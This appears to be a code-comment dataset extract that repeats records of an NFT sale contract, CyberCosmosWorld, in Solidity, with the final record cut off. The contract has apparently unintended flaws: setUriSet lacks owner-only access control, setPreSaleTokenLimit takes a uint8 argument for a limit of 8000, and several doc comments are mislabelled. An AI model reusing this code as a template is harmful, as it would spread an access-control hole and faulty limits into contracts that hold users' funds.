function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); }
/* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 10178, 11055 ] }
14,179
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
setBaseURI
function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; }
/* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 11186, 11317 ] }
14,180
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); _sendETH(payable(communityFundAddress), _amountToCommunityFund); } /* * @notice returns Balance of the contract * @dev Only owner can call it */ function getContractBalance() public view returns(uint256) { return address(this).balance; } /* * @notice Sets Merkle root for VIP PL * @dev Only owner can call it * @param _newVipPlRoot New Merkle root */ function setMerkleRootVipPl(bytes32 _newVipPlRoot) external onlyOwner { merkleRootVipPl = _newVipPlRoot; } /* * @notice Sets Free Mint Active * @dev Only owner can call it * @param _newFreeMintActive New Merkle root */ function setFreeMintActive(bool _newFreeMintActive) external onlyOwner { freeMintActive = _newFreeMintActive; } /* * @notice Sets Sale State * @dev Only owner can call it * @param _newSaleState New Merkle root */ function setSaleState(uint8 _newSaleState) external onlyOwner { saleState = _newSaleState; } /* * @notice Sets Merkle root for PL * @dev Only owner can call it * @param _newPlRoot New Merkle root */ function setMerkleRootPl(bytes32 _newPlRoot) external onlyOwner { merkleRootPl = _newPlRoot; } /* * @notice Sets the Community Fund Address * @dev Only owner can call it * @param _communityFundAddress The new address of the Commmunity Fund */ function setCommunityFundAddress(address _communityFundAddress) external onlyOwner { require(_communityFundAddress != address(0), "communityFundAddress is 0"); communityFundAddress = _communityFundAddress; } /* * @notice Pauses contract * @dev Only owner can call it */ function pause() external onlyOwner whenNotPaused { _pause(); } /* * @notice Unpauses contract * @dev Only owner can call it */ function unpause() external onlyOwner whenPaused { _unpause(); } /* * @notice Mints specified amount of tokens on the VIP Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintVipPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] == 0, "already registered"); require(_verifyVipPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the VIP Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintVipPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedVipPl[_msgSender()] > 0, "not registered"); _preSaleMintVipPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List and registers * the user if correct MerkleProof was submitted. Must be called if the * user isn't registered yet (didn't mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint * @param _proof Merkle proof for the user */ function preSaleMintPl( uint256 _amount, bytes32[] memory _proof ) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] == 0, "already registered"); require(_verifyPL(_leaf(_msgSender()), _proof), "incorrect proof"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the Pink List. Must be called * if the user already registered (already did mint tokens) * @dev Non reentrant * @param _amount Amount of tokens to mint */ function preSaleMintPl(uint256 _amount) external payable nonReentrant whenNotPaused { require(preSaleMintedPl[_msgSender()] > 0, "not registered"); _preSaleMintPl(_amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function publicSaleMint(uint256 _amount) external payable nonReentrant whenNotPaused { require(saleState == 3, "public sale isn't active"); require(_amount > 0 && _amount <= publicSaleLimitPerTx, "invalid amount"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, publicSalePrice); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit PublicSaleMint(_msgSender(), _amount); } /* * @notice Mints specified amount of tokens on the public sale * @dev Non reentrant. Emits PublicSaleMint event * @param _amount Amount of tokens to mint */ function freeMint(uint8 _amount) external payable nonReentrant whenNotPaused { require(saleState != 0, "sale isn't active"); require(_amount == 1, "invalid amount"); require(freeMintActive, "Free Mint is not active"); require(freeMintAddresses[_msgSender()] == 0, "already minted"); require(balanceOf(_msgSender()) >= 5, "doesn't own 5 or more nfts"); uint256 maxTotalSupply_ = maxTotalSupply; uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= maxTotalSupply_, "already sold out"); require(mintCounter + _amount <= maxTotalSupply_ - amountForGiveAway, "the rest is reserved"); _buyAndRefund(_amount, 0); freeMintAddresses[_msgSender()] += uint8(_amount); if (totalSupply_ + _amount == maxTotalSupply_) emit SoldOut(); emit FreeMint(_msgSender(), _amount); } /* * @notice Mints specified IDs to specified addresses * @dev Only owner can call it. Lengths of arrays must be equal. * @param _accounts The list of addresses to mint tokens to */ function giveaway(address[] memory _accounts) external onlyOwner { uint256 maxTotSup = maxTotalSupply; uint256 currentTotalSupply = totalSupply(); require(_accounts.length <= publicSaleLimitPerTx, "Limit per transaction exceeded"); require(airdropCounter + _accounts.length <= amountForGiveAway, "limit for airdrop exceeded"); require(currentTotalSupply + _accounts.length <= maxTotSup, "maxTotalSupply exceeded"); uint256 counter = currentTotalSupply; for (uint256 i; i < _accounts.length; i++) { _safeMint(_accounts[i], uint8(1)); counter++; } airdropCounter += uint16(_accounts.length); if (currentTotalSupply + _accounts.length == maxTotSup) emit SoldOut(); // emit SoldOut in case some tokens were airdropped after the sale emit GiveAway(_accounts); } /* * @notice Sets base URI for tokens * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; uriSet = true; } /* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */ function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; } /* * @notice Withdraws specified amount of ETH to specified address * @dev Only owner can call it * @param _to The address of ETH receiver * @param _amount The amount of ETH to withdraw */ function withdrawTo(uint256 _amount) external onlyOwner { uint256 balance = address(this).balance; require(balance >= _amount, "unsufficient balance"); uint256 three_percent = (_amount / 100) * 3; distributeFunds(three_percent); _sendETH(payable(withdrawAddress), _amount - three_percent); } /* * @notice Sets Amount Reserved For Giveaway * @dev Only owner can call it * @param _newAmountForGiveAway The new amount for give away */ function setAmountForGiveAway(uint8 _newAmountForGiveAway) external onlyOwner { amountForGiveAway = _newAmountForGiveAway; } /* * @notice Sets Pre Sale Token Limit * @dev Only owner can call it * @param _newPreSaleTokenLimit The new Pre Sale Token Limit */ function setPreSaleTokenLimit(uint8 _newPreSaleTokenLimit) external onlyOwner { preSaleTokenLimit = _newPreSaleTokenLimit; } /* * @notice Sets Public Sale Limit Per Transaction * @dev Only owner can call it * @param _newPublicSaleLimitPerTxn The new Public Sale Limit Per Transaction */ function setPublicSaleLimitPerTxn(uint8 _newPublicSaleLimitPerTxn) external onlyOwner { publicSaleLimitPerTx = _newPublicSaleLimitPerTxn; } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintVipPl(uint256 _amount) private { require(saleState == 1, "VIP Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedVipPl[_msgSender()] + _amount <= preSaleLimitPerUserVipPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSaleVipPlPrice); preSaleMintedVipPl[_msgSender()] += uint8(_amount); emit PreSaleMintVipPl(_msgSender(), _amount); } /* * @dev The main logic for the pre sale mint. Emits PreSaleMint event * @param _amount The amount of tokens */ function _preSaleMintPl(uint256 _amount) private { require(saleState == 2, "Presale isn't active"); require(_amount > 0, "invalid amount"); require(preSaleMintedPl[_msgSender()] + _amount <= preSaleLimitPerUserPl, "limit per user exceeded"); uint256 totalSupply_ = totalSupply(); require(totalSupply_ + _amount <= preSaleTokenLimit, "presale token limit exceeded"); _buyAndRefund(_amount, preSalePlPrice); preSaleMintedPl[_msgSender()] += uint8(_amount); emit PreSaleMintPl(_msgSender(), _amount); } /* * @dev Mints tokens for the user and refunds ETH if too much was passed * @param _amount The amount of tokens * @param _price The price for each token */ function _buyAndRefund(uint256 _amount, uint256 _price) internal { uint256 totalCost = _amount * _price; require(msg.value >= totalCost, "not enough funds"); _safeMint(_msgSender(), _amount); // totalSupply += uint16(_amount); mintCounter += uint16(_amount); uint256 refund = msg.value - totalCost; if (refund > 0) { _sendETH(payable(_msgSender()), refund); } } /* * @dev sends ETH to the specified address * @param _to The receiver * @param _amount The amount of ETH to send */ function _sendETH(address payable _to, uint256 _amount) internal { (bool success, ) = _to.call{value: _amount}(""); require(success, "send ETH failed"); } /* * @dev Returns the base URI */ function _baseURI() internal view virtual override returns (string memory) { return baseURI; } function tokenURI(uint256 tokenId) public view override returns (string memory) { if (!uriSet) return _baseURI(); return string(abi.encodePacked(ERC721A.tokenURI(tokenId), ".json")); } function setUriSet(bool status) external { uriSet = status; } /* * @dev Returns the leaf for Merkle tree * @param _account Address of the user * @param _userId ID of the user */ function _leaf(address _account) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_account)); } /* * @dev Verifies if the proof is valid or not for VIP PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyVipPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootVipPl, leaf); } /* * @dev Verifies if the proof is valid or not for PL * @param _leaf The leaf for the user * @param _proof Proof for the user */ function _verifyPL(bytes32 leaf, bytes32[] memory _proof) internal view returns (bool) { return MerkleProof.verify(_proof, merkleRootPl, leaf); } /* * @dev receive() function to let the contract accept ETH */ receive() external payable{} }
setPublicSalePrice
function setPublicSalePrice(uint256 _newPublicSalePrice) external onlyOwner { publicSalePrice = _newPublicSalePrice; }
/* * @notice Sets Public Sale Price * @dev Only owner can call it * @param _newBaseURI The new base URI */
Comment
v0.8.5+commit.a4f2e591
{ "func_code_index": [ 11447, 11581 ] }
14,181
CyberCosmosWorld
contracts/CCW.sol
0x80b745ada7c13cb420e0a2acbcbffa033a3b5164
Solidity
CyberCosmosWorld
contract CyberCosmosWorld is ERC721A, Ownable, ReentrancyGuard, Pausable { using Math for uint256; mapping(address => uint8) public preSaleMintedVipPl; // Amounts of minted tokens by users on the presale for VIP Pink List mapping(address => uint8) public preSaleMintedPl; // Amounts of minted tokens by users on the presale for Pink List mapping(address => uint8) public freeMintAddresses; // Amounts of minted tokens by users on the presale for Pink List uint8 constant public preSaleLimitPerUserVipPl = 5; // Max amount of tokens available for mint at the pre sale per address uint8 constant public preSaleLimitPerUserPl = 50; // Max amount of tokens available for mint at the pre sale per address uint8 public amountForGiveAway = 200; // Amount of tokens reserved for give away uint8 public publicSaleLimitPerTx = 10; // Max amount of tokens available for mint at the public sale per transaction uint8 public saleState = 1; // 0 - No sale, 1 - VIP PL, 2 - PL , 3 - Public Sale uint16 public mintCounter; // The next token ID to be minted (not equal to totalSupply because of the give away) uint16 public airdropCounter; // Current amount of airdropped tokens uint16 public maxTotalSupply = 10000; // Max amount of tokens available for mint in total uint16 public preSaleTokenLimit = 8000; // Max amount of tokens available for mint at the pre sale address public communityFundAddress = 0x86eA9D9ff386BCaD2D18b42192b40F264a77a679; // The Community Fund address address public withdrawAddress = 0x27BedE3c03096A5D7cd764874D35A525EF45689b; // The Withdraw Fund address string public baseURI; // Base URI for tokens string _prerevealUri = "ipfs://QmSLBj2jM8Dt2sYiDyHQnWAB9nN5jrsA1BVah17ohKjjig/"; bool public uriSet; // If base URI set or not bool public freeMintActive; uint256 public publicSalePrice = 0.1 ether; // Token price at the public sale stage uint256 constant public preSaleVipPlPrice = 0.02 ether; // Token price at the pre sale stage for VIP Pink List uint256 constant public preSalePlPrice = 0.08 ether; // Token price at the pre sale stage for Pink List bytes32 public merkleRootVipPl; // Merkle root for the whitelist bytes32 public merkleRootPl; // Merkle root for the whitelist event PreSaleMintVipPl(address user, uint256 amount); event PreSaleMintPl(address user, uint256 amount); event PublicSaleMint(address user, uint256 amount); event FreeMint(address user, uint256 amount); event SoldOut(); event GiveAway(address[] addresses); // Merkle Roots bytes32 _merkleRootVipPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; bytes32 _merkleRootPl = 0xdd055a3edf8accecd0b84325fc98a421bbeddd560e03274a314ccca6f23f3519; /* * @param _name The name of the NFT * @param _symbol The symbol of the NFT */ constructor ( string memory _name, string memory _symbol ) ERC721A(_name, _symbol) { require(uint256(_merkleRootVipPl) > 0, "invalid MerkleRoot for VIP PL"); require(uint256(_merkleRootPl) > 0, "invalid MerkleRoot for PL"); merkleRootVipPl = _merkleRootVipPl; merkleRootPl = _merkleRootPl; baseURI = _prerevealUri; } /* * @notice Distrubites specified amounts of ETH to the Community Fund * @dev Only owner can call it * @param _amountToCommunityFund Amount of ETH for the Community Fund */ function distributeFunds(uint256 _amountToCommunityFund) internal onlyOwner { uint256 balance = address(this).balance; require(_amountToCommunityFund <= balance, "not enough balance"); 